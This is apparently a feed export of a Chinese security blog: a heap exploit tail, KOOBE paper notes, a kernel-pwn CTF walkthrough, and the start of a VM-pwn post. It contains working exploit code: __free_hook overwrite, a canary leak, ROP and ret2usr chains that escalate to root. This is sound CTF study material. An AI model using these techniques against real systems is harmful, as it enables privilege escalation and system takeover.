s("Message:",msg)

def gd():
gdb.attach(p)

#leak libc
show(-5)
p.recv(8)
data_addr = u64(p.recv(8))
p.recv(16)
libc_base = u64(p.recv(8)) - 0x1eb6a0
log.success("data_addr:"+hex(data_addr))
log.success("libc_base:"+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x10afa9
log.success("free_hook:"+hex(free_hook))
log.success("one_gadget:"+hex(one_gadget))

#set onegadget in __free_hook
edit(-5,p64(data_addr)+p64(0x1000000))
add(0,0x50)
edit(-5,p64(data_addr)+p64(0x1000000)+'\x01')
add(1,0x50)
add(2,0x50)
delete(2)
delete(1)
edit_more(0,'\x00'*0x58+p64(0x61)+p64(free_hook))
super_buy("kangel")
pay = p64(data_addr) + p64(0x1000000)
pay += p64(0) + p64(libc_base+0x1eb6a0)
pay += p64(0) + p64(libc_base+0x1ea980)
pay += p64(0) + p64(libc_base+0x1eb5c0)
pay += p64(0)*4
edit(-5,pay)
super_buy(p64(one_gadget))

#get shell
delete(1)
p.interactive()

其他方法

可以利用乘法溢出修改money

使用mmap进行calloc时,不会进行memset,因此可以泄露libc

]]>
<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>比赛没时间打,赛后复现几道题目玩玩。</p> <h3 id="no-write"><a href="#no-write" class="he
论文阅读之KOOBE https://j-kangel.github.io/2020/05/18/论文阅读之KOOBE/ 2020-05-18T12:34:22.000Z 2020-05-23T09:41:50.524Z 简介

题目:KOOBE: Towards Facilitating Exploit Generation of Kernel Out-Of-BoundsWrite Vulnerabilities

会议:USENIX Security ‘20 Summer Quarter Accepted Papers

链接:https://www.usenix.org/conference/usenixsecurity20/presentation/chen-weiteng

介绍

KOOBE:Kernel Out-Of-Bound Exploit(内核越界漏洞利用),本文研究的是内核堆内存的越界。

内核保护着操作系统的基础架构,不幸的是,一些内核例如linux内核是用C写的,由于C语言自身的属性会导致一些内存相关漏洞频发。

2006-2018:已修复的安全bug中70%与内存相关。攻击者可以利用这些漏洞进行提权进而获取整个系统的控制权。

syzbot:https://syzkaller.appspot.com/upstream,Linux内核fuzzing的bug显示。

2017.8-2018.9:1216个linux内核漏洞被 syzkaller 发现,平均每天3.42个。毫无疑问会给开发者带来很大的工作量。而这些漏洞有些可以很容易提权,有些则无足轻重,因此需要将这些分开,即给这些bug设定优先级。其中一个办法是利用PoC自动生成一般的内存漏洞利用脚本从而对这些可以利用的漏洞进行评估。当然,内核漏洞不止一种,可以分而治之,UAF漏洞的工作已经有了一定的成果(Fuze),本文研究的是OOB。

OOB:内核越界访问,本文研究的是内核堆内存

挑战:不同的OOB所表现的利用能力(Capability)不同。PoC不能展示所有的漏洞。

Capability: how far, how many, what value

1
2
CVE-2016-6187 can overwrite only one single byte(off by one)
CVE-2017-7184 can write more bytes but only the same fixed value

内存属性:函数指针,结构体指针,具体的值等等

本文主要工作:给OOB漏洞分级,自动生成Expliot(AEG)

本文主要贡献:

  1. KOOBE可以提取OOB这一类型漏洞的Capability
  2. 代码开源(https://github.com/seclab-ucr/KOOBE),可供研究
  3. 测试了已知CVE和syzbot上的bug,证明了有效性,有助于开发exploit

范围和假设

研究范围

AEG(Automatic exploit generation)在linux内核的应用具有挑战性。KOOBE专注于性能提取(capability ex-traction )和漏洞评估( exploitability evaluation),这是本文开发堆OOB漏洞的Exploit的关键步骤。给定PoC,触发一个或多个OOB访问,KOOBE生成Exploit从而达到指令指针(IP)劫持。

假设(攻击模型)

内核被常用的保护机制所保护。

KASLR:Kernel Address Space Layout Randomization(内核地址空间布局随机化)

SMEP: Supervisor Mode Execution Prevention,禁止内核执行用户空间代码

SMAP: Supervisor Mode Access Prevention,禁止内核访问用户空间

当我们劫持IP之后,这些都可以绕过。

ret2dir:Rethinking kernel isolation,可以绕过SMEP和SMAP

From collision to exploitation: Unleashing use-after-free vulnerabilitiesin linux kernel

KEPLER :无条件地自动将IP控制转化为任意代码执行。

背景和示例

背景

内核OOB漏洞的危害性巨大,实际中内核OOB的研究是一项劳动密集型任务,手动分析花费很多精力还不一定奏效,接下来通过实例详细描述一下OOB漏洞。

示例

CVE-2018-5703:Linux Kernel 4.14.0 ,简化如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1.  struct Type1 { ...;                               };
2. struct Type2 { Type1 sk; uint64_t option; ...; };
3. struct Type3 { int (*ptr)(); ...; };
4. struct Type4 { uint64_t state; Type3 *sk; ...; };
5. struct Type5 { atomic_t refcnt; ...; };
6. Type2 gsock = { ..., .option = 0x08080000000000, };
7. Type1 * vul = NULL; Type3 * tgt = NULL;
8. void sys_socket() //sizeof(Type1) == sizeof(Type3)
9. vul = kmalloc(sizeof(Type1))
10. void sys_accept()
11. vul = (Type2*)vul; //type confusion
12. vul->option = gsock.option; //Vulnerability Point
13. void sys_setsockopt(val) //not invoked in given PoC
14. if (val == -1) return;
15. gsock.option = val;
16. void sys_create_tgt()
17. tgt = kmalloc(sizeof(Type3));
18. tgt->ptr = NULL; //init ptr
19. void sys_deref() { if (tgt->ptr) tgt->ptr(); }

漏洞点:line 12,使用KASAN发现

vulnerable object: 漏洞点

target object: OOB区域

漏洞形成: line 11 -> line 12

咋一看: 好像只能越界写0x08080000000000, 该地址既不属于内核空间也不属于用户空间

再一看: 如果sys_setsockopt()被调用,则可以写任意值(PoC中并未提及,限制漏洞的可利用性, 无公开Exploit)

实际情况: 该漏洞没有公开的exploit,大概是fuzzing发现了咋一看的bug就没有继续进行下去。再一看的漏洞正是本文的KOOBE发现的,并自动生成了可以利用的exploit, 下一章的第三节会详细讲述如何发现的。

exploit简化如下:

1
2
3
4
5
6
7
1.  for (i = 0; i < N; i++)
2. sys_create_tgt(); // cache exhaustion
3. sys_socket(); // vuln obj
4. sys_create_tgt(); // target obj
5. sys_setsockopt(0xdeadbeef);
6. sys_accept(); // tgt->ptr = 0xdeadbeef
7. sys_deref()

利用过程分为四步:

image-20200518175655179

性能概要

大部分的漏洞是Fuzzing发现,该漏洞的PoC可以破坏一些内存但是还没达到可利用的层次。因此,此时该漏洞的性能等级较低。KOOBE首先会根据PoC进行性能探测(计算当前性能和探测更高级的性能)。

堆风水

Linux内核使用的是 slab/slub 分配器,根据size分配相匹配大小的chunk(相同的size所分配的chunk大小相同,例如type1和type3)。被释放的chunk会在堆cache中,因此为了是vulnerable object和target object相邻,首先通过堆喷将堆cache中的内存耗尽。见exploit line1-4。

选择目标对象(target object)

通过前面的性能概要发现更高级的漏洞,并且布置好了堆内存。下面就需要选择攻击的目标并且写好payload,通常我们可以把攻击目标分成几种:

  1. 函数指针,见type3,可以直接控制程序流

  2. 数据指针,见type4,可以覆写结构体

  3. 非指针:需要具体讨论

    • uid,写成0直接提权
    • reference counter: 减少可以造成UAF,见type5
    1
    2
    3
    reference counter机制
    一个对象可以有多个owner,该计数器保存了程序中该对象有几个owner的信息。
    当对该实例的reference counter变为0,也就是没有owner时,dealloc将被调用,以释放该实例内存。

这里选择type3,size同vulnerable object。由此看来,收集不同的target object是很有必要的。

例如:CVE-2016-6778

1
2
3
void example1(size)
vul = kmalloc(size);
vul[size] = ’\0’;

明显的off by null漏洞,,这时候如果target object为函数指针就没无法像上面一样控制整个指针,这时候选择RC作为target object就比较合适,因为低字节清零一般会减少RC的值从而使该内存提前释放造成UAF。

在Linux内核中,可以找到2000多个潜在的target object。收集这些object将有助于自动生成exploit。

exploit合成

基于target object调整PoC进而合成exploit。在这个过程,,我们需要绕过高级检测来达到任意代码执行。

类似KASLR、SMAP、SMEP只会让攻击复杂化而不能完全防止攻击。下面简要介绍这三种防护的绕过:

KASLR:信息泄露

SMEP:ROP/JOP

SMAP:physmap spray,用户空间内存映射到physmap,内核可直接访问physmap

最后利用KEPLER把IP劫持转化成任意代码执行。

KEPLER: Facilitating control-flow hijacking primitive eval-uation for linux kernel vulnerabilities

设计

we describe the overview of KOOBE, a novel framework to extract the capabilities of heap OOB-based vulnerabilities and assess their exploitability.

image-20200518194836602

首先进行漏洞分析,利用符号跟踪(symbolic tracing)来总结PoC的性能(capability),然后利用一个或更多的target object来自动确定是否可以利用,如果不能,将触发性能探测(Capability Exploration)来发现新的PoC,然后对新PoC进行分析,直到找到可利用的target object或者timeout。最后利用PoC生成exploit。

漏洞分析(Vulnerable Analysis)

给定PoC,KOOBE尝试发现漏洞点(OOB访问处)以及相应的漏洞对象,如下所示

1
2
3
4
5
6
7
8
9
{ “vuln_obj”: {    
“size”: 256, // Concrete value of the size
// The address of the function call allocating the object
“callsite”: 0xffffffff811f18d0 },
“KASAN reports”: [{
// call chain to the KASAN report function
“backtrace”: [0xffffffff814b56a6, 0xffffffff81477763],
“length”: 1
}]}

KASAN: Kernel Address Sanitizer 的缩写,它是一个动态检测内存错误的工具,主要功能是检查内存越界访问和使用已释放的内存等问题。KASAN可以检测的内存异常包括:slab-out-of-bounds/user-after-free/stack-out-of-bounds/global-out-of-bounds等。基于影子内存(shadow memory)和红色区域(red zones)

缺陷:

  1. 无法提供所有的OOB,例如,OOB 访问绿色区域。
  2. 无法准确指出漏洞对象,大部分都指在红色区域

KOOBE方案:符号追踪结合KASAN,例如: CVE-2017-7184

1
2
3
void example2(i)  
vul = (char*)kmalloc(sizeof(TYPE)); //omit other OOB points on the path
vul[i/8] |= 1<<(i&0x7);//set 1 bit

将vul和i都进行符号化,分析符号表达式vul+i/8有可能大于sizeof(TYPE)并且i没有约束时可以确定这是一个漏洞点。

性能概要(Capability Summarization)

Capability:在本文中,capability表示OOB写的能力,为了量化它,本文做出以下定义:

Definition 1 OOB write set

E:符号执行引擎所支持的所有符号表达式

P:所有路径

Np:可以触发漏洞的路径

Tp={(offpi,lenpi,valpi)|i∈Np∧off,len,val∈E}:OOB可写集

off:how far

len:how many

val:what value

Tpi:OOB可写集的个例

for循环:抽象成一次OOB write

Definition 2 Capability

Cp={sizep,Tp,f(p)|sizep∈E}:路径p的性能

size:漏洞对象的大小,size的大小有关target object的个数

f(p)::执行时p的路径约束,例如:line 14 -> line 15

In the motivating example, the capability corresponding tothe original PoC can be expressed as:

Corig={sizeof(Type1),{(offsetof(Type2,option),8,0x08080000000000)},/0}(1)

while the complete capability should be:

Ccomp={sizeof(Type1),{(offsetof(Type2,option),8,val)},{val!=−1}}(2)

when ‘sys_setsockopt’ is invoked before triggering the vul-nerability point.

Definition 3 Capability Comparison

∀e1,e2∈E, e1<=e2 if e1 is identical to e2 or e1is a constant whose value can be taken in e2

∀p1,p2∈P, Tp1i<=Tp2i if offp1i<=offp2i ∧ lenp1i<=lenp2i ∧ valp1i<=valp2i

∀p1,p2∈P, Cp1<=Cp2 if sizep1<=sizep2 ∧ ∀i∈Np1 Tp1i<=Tp2i

因此:Corig < Ccomp

Capability Generation

函数调用:例如memcpy,解决循环问题

直接访问

memcpy(a1,a2,a3)

a1:目的地址,提取出off

a2:源地址,提取出al

a3:长度,作为len

性能探测(Capability Exploration)

通常,一个漏洞在不同的出发路径上有不同的漏洞点,不同的漏洞点有不同的性能。甚至不同路径触发的相同漏洞点也有不同的性能(如示例)。一般的PoC只有一条触发路径,因此我们需要触发新的路径来扩展性能或者产生新的性能。本文提出一种 capability-guided fuzzing方案来探索新的性能。

Capability-Guided Fuzzing

Syzkaller :基于覆盖反馈,探索新路径而无法探索新性能

输入:PoC,Cp

方法:突变种子,在覆盖反馈的同时计算Cp,并利用Cp进行反馈(触发OOB)

重点:种子过滤。例如:当value任意时,其它只关于value的种子可以丢弃。

可利用性评估(Exploitability Evacuation)

目标约束:target object可以利用的条件,例如:指针必须指向有效地址空间,target object的大小等于vulnerable object 如果利用堆风水(不是必须,为了稳定)。

然后把目标约束和Cp丢进约束求解器进行求解,无解则换下一个目标。具体过程如下:

image-20200519202330625

示例的可利用性评估如下:

image-20200519202920748

性能构成

同一性能可以重复利用,如CVE-2017-7184,一个OOB可能有多个性能,解决方案-贪心算法,具体如下:

image-20200519205742821

相关定义:

image-20200519205639204

可利用基元生成(Exploit Primitive Synthesis)

堆喷,堆风水

实现

Syskaller:内核fuzz,主要用在性能探测和利用脚本生成

S2E:二进制符号执行框架,主要用在性能概要和可利用性评估

angr:二进制符号执行分析引擎,主要用在漏洞分析

细节如下:

动态插桩来实现 Capability-Guided Fuzzing

利用QEMU模式的Syskaller和S2E来进行CGF,Syskaller可以监测内核的内部状态而进行non-crashing fuzzing,避免KASAN的警告来保证持续fuzz(跳过但是记录导致OOB的指令)。缺点是这样可能产生误报导致一些假阳性的漏洞点或者性能。

可支持的符号长度

在可利用性评估中,我们主要考虑三个参数off,len,value并且将它们符号化。相较于符号索引来说,符号执行引擎对符号长度的支持不太友好。

解决方案:利用KLEE和Z3对长度进行迭代约束求解

1
2
3
for i in [0, 10]:
M[ite(i <len, i+off, offsetdummy)] =val[i]
其中ite表示if-then-else

循环中的性能提取

循环会将阻塞符号执行(fuzzification好像有利用这个方法来阻塞DTA),因为隐式数据流。

SAGE:循环引导和模式匹配

Angr:静态分析

处理符号索引和循环边界来解决路径冲突

1
2
3
4
1. void loop(n)//n = 64
2. vul = (char*)kmalloc(32);
3. for (i = 0; i < n; i++)
4. vul[i] = 0;//OOB Point

处理方案:消除不必要的约束

松懈不必要的约束

由于内核的复杂性,复杂的路径约束通常导致约束求解器无法再timeout前完成求解。一些无关的约束可以被松懈或直接忽略。

目标收集

总共收集2615个目标

评估

数据集:7个CVE+10个Syzbot bug

Ubuntu 16.04 、16G RAM 、Intel(R) Core i7-7700K CPU @ 4.20GHz* 8.

IP劫持基元(IP-Hijacking Primitives)

image-20200519214951103

EXP:19 :5,6个新增,其中4个非CVE

约束松懈(Constraint Relaxation)

image-20200519220243790

实例学习(Case Studies)

时间消耗(Time Cost)

讨论和未来工作

  1. 本文讨论的时OOB,可以扩展到其他类型的漏洞
  2. KOOBE还可以继续优化

相关工作

漏洞点发现

动态内存防护措施:KASAN,Valgrind,ASan,MSan等

解决方案 :结合KASAN和符号追踪(污点跟踪和内存探测的超集)

Fuzzing

基于覆盖反馈:AFL,Syzkaller,Honggfuzz

结合静态和动态分析的覆盖反馈:Vuzzer

基于梯度下降搜索: Angora

类神经网络:Neuzz

输入状态:Redqueen

Revery: From proof-of-concept toexploitable

AEG

相关技术:符号执行以及混合符号执行

用户程序:

APEG:Automatic patch-based exploit genera-tion is possible: Techniques and implications

Automatic generation of control flowhijacking exploits for software vulnerabilities.

Modular synthesis of heap exploits:Windows heap management

Gollum: Modular and greybox exploit generation for heapoverflows in interpreters

Towardsautomated generation of exploitation primitives for webbrowsers

内核:

Unleash-ing use-before-initialization vulnerabilities in the linuxkernel using targeted stack spraying

Fuze: Towards facilitating exploitgeneration for kernel use-after-free vulnerabilities.

Q: Exploit hardening made easy:需要给定任意地址写或者IP劫持基元

Block oriented programming: Au-tomating data-only attacks

KEPLER: Facilitating control-flow hijacking primitive eval-uation for linux kernel vulnerabilities

Heaphopper: Bringing bounded model checking toheap implementation security

结论

]]>
<h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p>题目:<strong>KOOBE: Towards Facilitating Exploit Generation of Kernel Ou
kernel pwn(one) https://j-kangel.github.io/2020/04/16/kernel-pwn-one/ 2020-04-15T21:52:30.000Z 2020-04-16T13:56:55.147Z 前言

是时候学习一下内核pwn了,内核pwn涉及内核以及文件系统的编译,这些类容留到以后再讲,这里先通过几道例题直观感受一下内核pwn。

babyhacker

分析

题目附件

1
2
3
4
5
6
➜  babyhacker tree -L 1       
.
├── babyhacker.ko
├── bzImage
├── initramfs.cpio
├── startvm.sh

查看启动脚本starvm.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/bin/bash

#stty intr ^]
#cd `dirname $0`
#timeout --foreground 15
qemu-system-x86_64 \
-m 512M \
-nographic \
-kernel bzImage \
-append 'console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null \
-s \
-initrd initramfs.cpio \
-smp cores=2,threads=4 \
-cpu qemu64,smep,smap 2>/dev/null

开启了kaslr、smep、smap,本地调试可以去掉timeout和添加-s

1
2
3
➜  babyhacker qemu-system-x86_64 --help |grep gdb
-gdb dev wait for gdb connection on 'dev'
-s shorthand for -gdb tcp::1234

提取vmlinux,利用extract-vmlinux

1
./extract-vmlinx babyhacker/bzImage > babyhacker/vmlinux

提取文件系统

1
2
3
4
➜  babyhacker mkdir core 
➜ babyhacker cd core
➜ core mv ../initramfs.cpio ./
➜ core cpio -idm < initramfs.cpio

查看init发现是空的,于是查看/etc/init.d/rcS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
➜  core bat etc/init.d/rcS                             
───────┬─────────────────────────────────────────────────────────────────────────────
│ File: etc/init.d/rcS
───────┼─────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t devtmpfs none /dev
5 │ mkdir /dev/pts
6 │ mount /dev/pts
7 │
8 │ insmod /home/pwn/babyhacker.ko
9 │ chmod 644 /dev/babyhacker
10 │ echo 0 > /proc/sys/kernel/dmesg_restrict
11 │ echo 0 > /proc/sys/kernel/kptr_restrict
12 │
13 │ cd /home/pwn
14 │ chown -R root /flag
15 │ chmod 400 /flag
16 │
17 │
18 │ chown -R 1000:1000 .
19 │ setsid cttyhack setuidgid 1000 sh
20 │
21 │ umount /proc
22 │ poweroff -f
───────┴─────────────────────────────────────────────────────────────────────────────

可以看到添加了内核模块babyhacker.ko,其中dmesg_restrict = 0表示可以直接查看/proc/kallsymskptr_restrict=0时,lsmod会直接打印内核地址

1
2
3
4
5
6
7
8
9
10
~ $ lsmod
babyhacker 2104 0 - Live 0xffffffffc0093000 (OE)
~ $ cat /proc/kallsyms |grep commit_creds
ffffffff8e2a1430 T commit_creds
ffffffff8ef73ac0 R __ksymtab_commit_creds
ffffffff8ef939e4 r __kstrtab_commit_creds
~ $ cat /proc/kallsyms |grep prepare_kernel_cred
ffffffff8e2a1820 T prepare_kernel_cred
ffffffff8ef7c5b0 R __ksymtab_prepare_kernel_cred
ffffffff8ef939a8 r __kstrtab_prepare_kernel_cred

checksec vmlinux,raw_vmlinux_base = 0xffffffff81000000

1
2
3
4
5
6
7
8
➜  babyhacker checksec vmlinux
[*] '/home/kangel/pwn/kernel/babyhacker/vmlinux'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments

checksec babyhacker.ko,开启了canary

1
2
3
4
5
6
7
➜  babyhacker checksec babyhacker.ko
[*] '/home/kangel/pwn/kernel/babyhacker/babyhacker.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

ida查看babyhacker.ko

查看fop结构体

1
2
3
4
5
.data:0000000000000280 fops            file_operations <offset __this_module, 0, 0, 0, 0, 0, 0, 0, \
.data:0000000000000280 ; DATA XREF: .data:misc↑o
.data:0000000000000280 offset babyhacker_ioctl, 0, 0, 0, 0, 0, 0, 0, 0, 0, \
.data:0000000000000280 0, 0, 0, 0, 0, 0, 0, 0, 0>
.data:0000000000000280 _data ends

发现只定义了babyhacker_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall babyhacker_ioctl(file *file, unsigned int cmd, unsigned __int64 arg)
{
__int64 v3; // rbp
file *rdx1; // rdx
signed __int16 v5; // di
int v4[80]; // [rsp+0h] [rbp-150h]
unsigned __int64 v8; // [rsp+140h] [rbp-10h]
__int64 v9; // [rsp+148h] [rbp-8h]

_fentry__(file, cmd, arg);
v9 = v3;
v5 = (signed __int16)rdx1;
v8 = __readgsqword(0x28u);
switch ( cmd )
{
case 0x30001u:
babyhacker_ioctl_0(rdx1, 0x30001u, (unsigned __int64)rdx1); //写入栈
break;
case 0x30002u:
copy_to_user(rdx1, v4, buffersize); //读出栈
break;
case 0x30000u:
if ( (signed int)rdx1 >= 11 )
v5 = 10;
buffersize = v5; //设置size
break;
}
return 0LL;
}

64位传参顺序:rdi、rsi、rdx、rcx、r8、r9,然后是栈。这里的rdx1即ioctl的第三个参数

可以看到,当rdx1为负数时,buffersize = v5为rdx1的低两字节可以达到0xffff,于是造成了对栈的越界读写,我们可以泄露canary然后rop

寻找gadget

首先把vmlinux的gadgets输出到文件

1
➜  babyhacker ROPgadget --binary ./vmlinux > gadgets

查找想要的gadget

1
2
➜  babyhacker cat gadgets |grep ": pop rdx ; ret$"
0xffffffff81083f22 : pop rdx ; ret

动态调试

poc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_buffersize(int fd, int idx)
{
printf("[*]set buffersize to %d\n",idx);
ioctl(fd, 0x30000, idx);
}

void baby_read(int fd, char *buf)
{
printf("[*]read to buf.");
ioctl(fd, 0x30002, buf);
}

void baby_write(int fd, char *buf)
{
printf("[*]copy from user.");
ioctl(fd,0x30001, buf);
}

int main()
{
save_status();
int fd = open("/dev/babyhacker",O_RDONLY); //注意这里只能读
if(fd < 0)
{
puts("[*]open /dev/babyhacker error!");
exit(0);
}

getchar();
set_buffersize(fd, 0x80000200);

char buf[0x200] = {0};
baby_read(fd, buf);
size_t canary = ((size_t *)buf)[40];
printf("[+]canary: %p\n", canary);
getchar();
return 0;
}

然后编译打包

1
2
3
4
5
6
7
8
9
➜  babyhacker gcc poc.c -static -masm=intel -g -o poc    
poc.c: In function ‘main’:
poc.c:56:9: warning: format ‘%p’ expects argument of type ‘void *’]
printf("[+]canary: %p\n", canary);
^
➜ babyhacker mv poc core/home/pwn
➜ babyhacker cd core
➜ core find . | cpio -o --format=newc > ../initramfs.cpio
15405 块

进行调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜  babyhacker gdb ./vmlinux -q                       
pwndbg: loaded 181 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with prin)
Reading symbols from ./vmlinux...(no debugging symbols found)...do.
pwndbg> add-symbol-file babyhacker.ko 0xffffffffc02ff000
add symbol table from file "babyhacker.ko" at
.text_addr = 0xffffffffc0093000
Reading symbols from babyhacker.ko...done.
pwndbg> b *0xffffffffc02ff000+0x50
Breakpoint 1 at 0xffffffffc0093050: file /home/zoe/Desktop/kernel_.
pwndbg> target remote :1234
Remote debugging using :1234
0xffffffff8e263656 in ?? ()
...
pwndbg> c
Continuing.

结果如下:

exp1(ROP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
// gcc exp.c -static -masm=intel -g -o exploit
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

size_t commit_creds = 0xffffffff810a1430;
size_t prepare_kernel_cred = 0xffffffff810a1820;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_buffersize(int fd, int idx)
{
printf("[*]set buffersize to %d\n",idx);
ioctl(fd, 0x30000, idx);
}

void baby_read(int fd, char *buf)
{
printf("[*]read to buf.\n");
ioctl(fd, 0x30002, buf);
printf("[+]read to buf success!\n");
}

void baby_write(int fd, char *buf)
{
printf("[*]copy from user.\n");
ioctl(fd,0x30001, buf);
printf("[+]copy from user success!\n");
}

int main()
{
save_status();
int fd = open("/dev/babyhacker", O_RDONLY);
if(fd < 0)
{
puts("[*]open /dev/babyhacker error!");
exit(0);
}

set_buffersize(fd, 0x80000200);

char buf[0x200] = {0};
baby_read(fd, buf);
size_t offset = ((size_t *)buf)[8] - 0xc2d84 - raw_vmlinux_base;
printf("[+]offset: %p\n", offset);
size_t canary = ((size_t *)buf)[40];
printf("[+]canary: %p\n", canary);
commit_creds += offset;
printf("[+]commit_creds: %p\n", commit_creds);
prepare_kernel_cred += offset;
printf("[+]prepare_kernel_cred: %p\n", prepare_kernel_cred);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 42;i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff8109054d + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)
rop[i++] = 0xffffffff81083f22 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81006ffc + offset; // pop rcx; ret
rop[i++] = 0xffffffff810def79 + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff810636b4 + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81478294 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
baby_write(fd, rop);
return 0;
}

结果如下

exp2(ret2usr)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
typedef int __attribute__((regparm(3))) (*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds =0xffffffff810a1430;
_prepare_kernel_cred prepare_kernel_cred =0xffffffff810a1820;
void spawn_shell()
{
if(!getuid())
{
system("/bin/sh");
}
else
{
puts("[*]spawn shell error!");
}
exit(0);
}

/* size_t commit_creds = 0xffffffff810a1430; */
/* size_t prepare_kernel_cred = 0xffffffff810a1820; */
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void set_buffersize(int fd, int idx)
{
printf("[*]set buffersize to %d\n",idx);
ioctl(fd, 0x30000, idx);
}

void baby_read(int fd, char *buf)
{
printf("[*]read to buf.\n");
ioctl(fd, 0x30002, buf);
printf("[+]read to buf success!\n");
}

void baby_write(int fd, char *buf)
{
printf("[*]copy from user.\n");
ioctl(fd,0x30001, buf);
printf("[+]copy from user success!\n");
}

void get_root()
{
commit_creds(prepare_kernel_cred(0));
}

int main()
{
save_status();
int fd = open("/dev/babyhacker", O_RDONLY);
if(fd < 0)
{
puts("[*]open /dev/babyhacker error!");
exit(0);
}

set_buffersize(fd, 0x80000200);

char buf[0x200] = {0};
baby_read(fd, buf);
size_t offset = ((size_t *)buf)[8] - 0xc2d84 - raw_vmlinux_base;
printf("[+]offset: %p\n", offset);
size_t canary = ((size_t *)buf)[40];
printf("[+]canary: %p\n", canary);
commit_creds += offset;
printf("[+]commit_creds: %p\n", commit_creds);
prepare_kernel_cred += offset;
printf("[+]prepare_kernel_cred: %p\n", prepare_kernel_cred);

size_t rop[0x1000] = {0};

int i;
for(i = 0; i < 42;i++)
{
rop[i] = canary;
}
rop[i++] = 0xffffffff8109054d + offset; // pop rdi; ret
rop[i++] = 0x6f0;
rop[i++] = 0xffffffff81004d70 + offset; //mov_rc4_pop_ret
rop[i++] = 0;
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff810636b4 + offset; // swapgs; popfq; ret
rop[i++] = 0;
rop[i++] = 0xffffffff81478294 + offset; // iretq; ret;
rop[i++] = (size_t)spawn_shell; // rip
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
baby_write(fd, rop);
return 0;
}

结果如下:

]]>
草长莺飞二月天,拂堤杨柳醉春烟
虚拟指令集pwn https://j-kangel.github.io/2020/04/10/虚拟指令集pwn/ 2020-04-10T10:13:17.000Z 2020-04-12T11:30:09.152Z 前言

近来很多比赛都有虚拟指令集pwn的题目,漏洞都是常规的漏洞,但是题目还算新颖,有一种计组做实验的感觉。

这类题目主要就是搞清楚指令集的作用,需要对字节、符号、移位等知识有非常清晰的认识,废话不多说,先来一道题目试试。

例题1

来源:seccon-2018-kindvm

checksec

1
2
3
4
5
6
[*] '/mnt/hgfs/shared/vmpwn/kindvm/kindvm'
Arch: i386-32-little
